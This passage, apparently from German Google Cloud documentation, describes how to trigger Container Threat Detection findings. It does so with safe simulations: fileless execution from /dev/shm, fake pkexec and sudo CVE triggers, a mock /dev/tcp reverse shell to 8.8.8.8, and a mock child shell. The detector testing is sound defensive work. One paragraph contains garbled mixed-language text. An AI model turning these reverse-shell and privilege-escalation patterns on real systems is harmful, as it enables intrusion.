Damit ein Privilege Escalation: Fileless Execution in /dev/shm-Ergebnis ausgelöst wird, muss ein Prozess über das In-Memory-Dateisystem /dev/shm ausgeführt werden. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. Das /bin/echo-Dienstprogramm wird nach /dev/shm/echo kopiert. Diese umbenannte Binärdatei wird dann ausgeführt. Die Ausführung einer Datei unter /dev/shm wird als verdächtig eingestuft, da sie das Verhalten eines Objekts nachahmt, das versucht, im Arbeitsspeicher ausgeführt zu werden, um dateibasierte Erkennungen zu vermeiden.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Erstellen Sie einen privilegierten Container und öffnen Sie Bash, um Befehle auszuführen:

x86-Knoten:

tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -it \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"spec": {"containers": [{"name": "ktd-test-fileless-dev-shm", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "tty":true, "stdin":true, "securityContext": {"privileged": true}}]}}' \
   "$tag" -- bash

ARM-Knoten:

tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -it \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": {
   "containers": [{"name": "ktd-test-fileless-dev-shm", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "tty":true, "stdin":true, "securityContext": {"privileged": true}}],
   "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash

Kopieren Sie echo nach /dev/shm und machen Sie es mit chmod ausführbar.
```
  cp /bin/echo /dev/shm
  chmod 777 /dev/shm/echo
```
Hängen Sie /dev/shm neu ein, um die Ausführung zu ermöglichen.
```
  mount -o remount,exec /dev/shm
```
Führe echo über /dev/shm aus
```
  /dev/shm/echo "Hello from /dev/shm"
```

Mit diesem Testverfahren wird ein Privilege Escalation: Fileless Execution in /dev/shm-Ergebnis erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Rechteausweitung: Sicherheitslücke bei der lokalen Rechteausweitung in Polkit (CVE-2021-4034)

Um ein Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034)-Ergebnis auszulösen, führen Sie eine pkexec-Binärdatei mit der Umgebungsvariable GCONV_PATH als Nutzer ohne Rootberechtigung aus. In diesem Beispiel wird die Binärdatei /bin/ls kopiert, um die Binärdatei pkexec zu imitieren, und mit dem angegebenen Parameter als Nutzer-ID 1000 ausgeführt.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Starten Sie eine Binärdatei mit /bin/echo-Weiterleitung zu Google Public DNS:

x86-Knoten:

tag="ktd-test-polkit-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": {
   "securityContext": { "runAsUser": 1000 }}}' \
   "$tag" -- bash -c \
   "cp /bin/ls /tmp/pkexec; GCONV_PATH=junk /tmp/pkexec; sleep 10"

ARM-Knoten:

tag="ktd-test-polkit-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": {
   "securityContext": { "runAsUser": 1000 }, "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
   "cp /bin/ls /tmp/pkexec; GCONV_PATH=junk /tmp/pkexec; sleep 10"

Bei diesem Testverfahren wird ein Ergebnis des Typs Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034) erstellt, das Sie in Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center auf Organisationsebene aktivieren.

Rechteausweitung: Mögliche Rechteausweitung durch Sudo (CVE-2021-3156)

Um ein Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156)-Ergebnis auszulösen, führen Sie das Binärprogramm sudo als Nicht-Root-Nutzer mit dem Parameter -s und einem Parameter aus, der mit \`. This example copies the/bin/lsbinary to imitate the endet. Das Binärprogramm sudo ruft das Binärprogramm \`. This example copies the/bin/lsbinary to imitate thesudo auf und führt es mit den angegebenen Parametern aus.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Starten Sie eine Binärdatei mit /bin/echo-Weiterleitung zu Google Public DNS:

x86-Knoten:

tag="ktd-test-sudo-potential-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": {
   "securityContext": { "runAsUser": 1000 }}}' \
   "$tag" -- bash -c \
   'cp /bin/ls /tmp/sudo; /tmp/sudo -s "123\\"; sleep 10'

ARM-Knoten:

tag="ktd-test-sudo-potential-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": {
   "securityContext": { "runAsUser": 1000 },
   "nodeSelector": { "kubernetes.io/arch":"arm64" }, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
   'cp /bin/ls /tmp/sudo; /tmp/sudo -s "123\\"; sleep 10'

Bei diesem Testverfahren wird ein Ergebnis des Typs Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156) erstellt, das Sie in Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center auf Organisationsebene aktivieren.

Reverse Shell

Wenn Sie ein Reverse-Shell-Ergebnis auslösen möchten, starten Sie eine Binärdatei mit stdin-Weiterleitung zu einem mit TCP verbundenen Socket. In diesem Beispiel wird /bin/echo in /tmp/sh kopiert und dann /tmp/sh mit einer Weiterleitung zum öffentlichen DNS von Google 8.8.8.8 am DNS-Port gestartet. Beim Ausführen dieses Beispiels wird nichts ausgegeben. In diesem Beispiel wird die /bin/sh-Binärdatei nicht verwendet, um zu verhindern, dass ein externer Code durch einen Man-in-the-Middle-Angriff ausgelöst wird.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Starten Sie eine Binärdatei mit /bin/echo-Weiterleitung zu Google Public DNS:

x86-Knoten:

tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"

ARM-Knoten:

tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"

Mit diesem Testverfahren wird ein Reverse Shell-Ergebnis erstellt, das Sie in Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center auf Organisationsebene aktivieren.

Unerwartete untergeordnete Shell

Wenn Sie den Unexpected Child Shell-Detektor testen möchten, können Sie einen Prozessbaum erstellen, der einen untergeordneten Shell-Prozess enthält.

Im folgenden Beispiel wird ein consul->dash-Prozessbaum erstellt, der vom Unexpected Child Shell-Detektor erkannt werden kann. Dieser Test ist sicher, da nur integrierte Binärdateien verwendet werden. Dieses Beispiel tut Folgendes:

Erstellt eine Kopie des Prozesses sh und gibt ihr den Namen consul.
Kopiert den Prozess echo und benennt ihn in dash um.
Ruft den kopierten dash-Prozess im kopierten consul-Prozess auf.

So lösen Sie ein Unexpected Child Shell-Ergebnis aus:

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Verwenden Sie den Mock-Prozess consul, um eine Mock-Shell aufzurufen:

x86-Knoten:

tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -ti \
   --image ubuntu "$tag" \
   --command -- /bin/sh -c \
      'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \
      /tmp/consul -c "/tmp/sh child ran successfully & wait"'

ARM-Knoten:

tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -ti \
   --image ubuntu \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" --command -- /bin/sh -c \
      'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \
      /tmp/consul -c "/tmp/sh child ran successfully & wait"'

Mit diesem Testverfahren wird ein Ergebnis des Typs Unexpected Child Shell erstellt, das Sie in Security Command Center aufrufen können. Wenn Logging für Container Threat Detection konfiguriert ist und Sie Security Command Center Premium oder Enterprise auf Organisationsebene aktiviert haben, können Sie das Ergebnis auch in Cloud Logging ansehen.

Nächste Schritte

Container Threat Detection verwenden

Container Threat Detection testen Mit Sammlungen den Überblick behalten Sie können Inhalte basierend auf Ihren Einstellungen speichern und kategorisieren.

Hinweis

Detektoren aktivieren

Umgebungsvariablen festlegen

Ausgeführte Binärdatei hinzugeführt

Hinzugefügte Mediathek geladen

Sammlung: Pam.d-Änderung (Vorabversion)

Command-and-Control-Aktivitäten: Steganographie-Tool erkannt

Zugriff auf Anmeldedaten: Auf vertrauliche Dateien auf Knoten zugreifen (Vorschau)

Zugriff auf Anmeldedaten: Suche Google Cloud Anmeldedaten

Zugriff auf Anmeldedaten: Ausspähung von GPG-Schlüsseln

Zugriff auf Anmeldedaten: Suche nach privaten Schlüsseln oder Passwörtern

Defense Evasion: Base64 ELF File Command Lines

Defense Evasion: Base64 Encoded Python Script Executed

Defense Evasion: Base64 Encoded Shell Script Executed

Defense Evasion: Linux-Audit-System deaktivieren oder ändern (Vorschau)

Defense Evasion: Compiler-Tool für Code im Container gestartet

Defense Evasion: Root-Zertifikat installiert (Vorschau)

Ausführung: hinzugefügtes schädliches Binärprogramm ausgeführt

Ausführung: Container-Escape

Ausführung: Dateilose Ausführung in /memfd:

Ausführung: Ausführung der Sicherheitslücke „Ingress Nightmare“

Execution: Kubernetes Attack Tool Execution

Ausführung: Ausführung eines lokalen Ausspähtools

Ausführung: Schädlicher Python-Code ausgeführt

Ausführung: Geändertes schädliches Binärprogramm ausgeführt

Ausführung: Netcat-Remote-Codeausführung im Container

Ausführung: Mögliche Ausführung beliebiger Befehle über CUPS (CVE-2024-47177)

Ausführung: Mögliche Remote-Befehlsausführung erkannt

Ausführung: Programmausführung mit nicht zulässiger HTTP-Proxy-Umgebung

Ausführung: Socat-Reverse-Shell erkannt

Ausführung: Verdächtige Cron-Änderung (Vorschau)

Ausführung: Verdächtiges freigegebenes OpenSSL-Objekt geladen

Exfiltration: Remote-Tools zum Kopieren von Dateien im Container gestartet

Auswirkungen: Erkennung schädlicher Cmdline-Dateien

Auswirkungen: Bulk-Entfernung von Daten von Laufwerk

Auswirkung: Verdächtige Cryptomining-Aktivität mit Stratum-Protokoll

Schädliches Script ausgeführt

Schädliche URL beobachtet

Persistenz: ld.so.preload ändern (Vorschau)

Rechteausweitung: Missbrauch von Sudo zur Rechteausweitung (CVE-2019-14287)

Rechteausweitung: Dateilose Ausführung in /dev/shm

Rechteausweitung: Sicherheitslücke bei der lokalen Rechteausweitung in Polkit (CVE-2021-4034)

Rechteausweitung: Mögliche Rechteausweitung durch Sudo (CVE-2021-3156)

Reverse Shell

Unerwartete untergeordnete Shell

Nächste Schritte

Container Threat Detection testen

Ausführung: Dateilose Ausführung in `/memfd:`

Rechteausweitung: Dateilose Ausführung in `/dev/shm`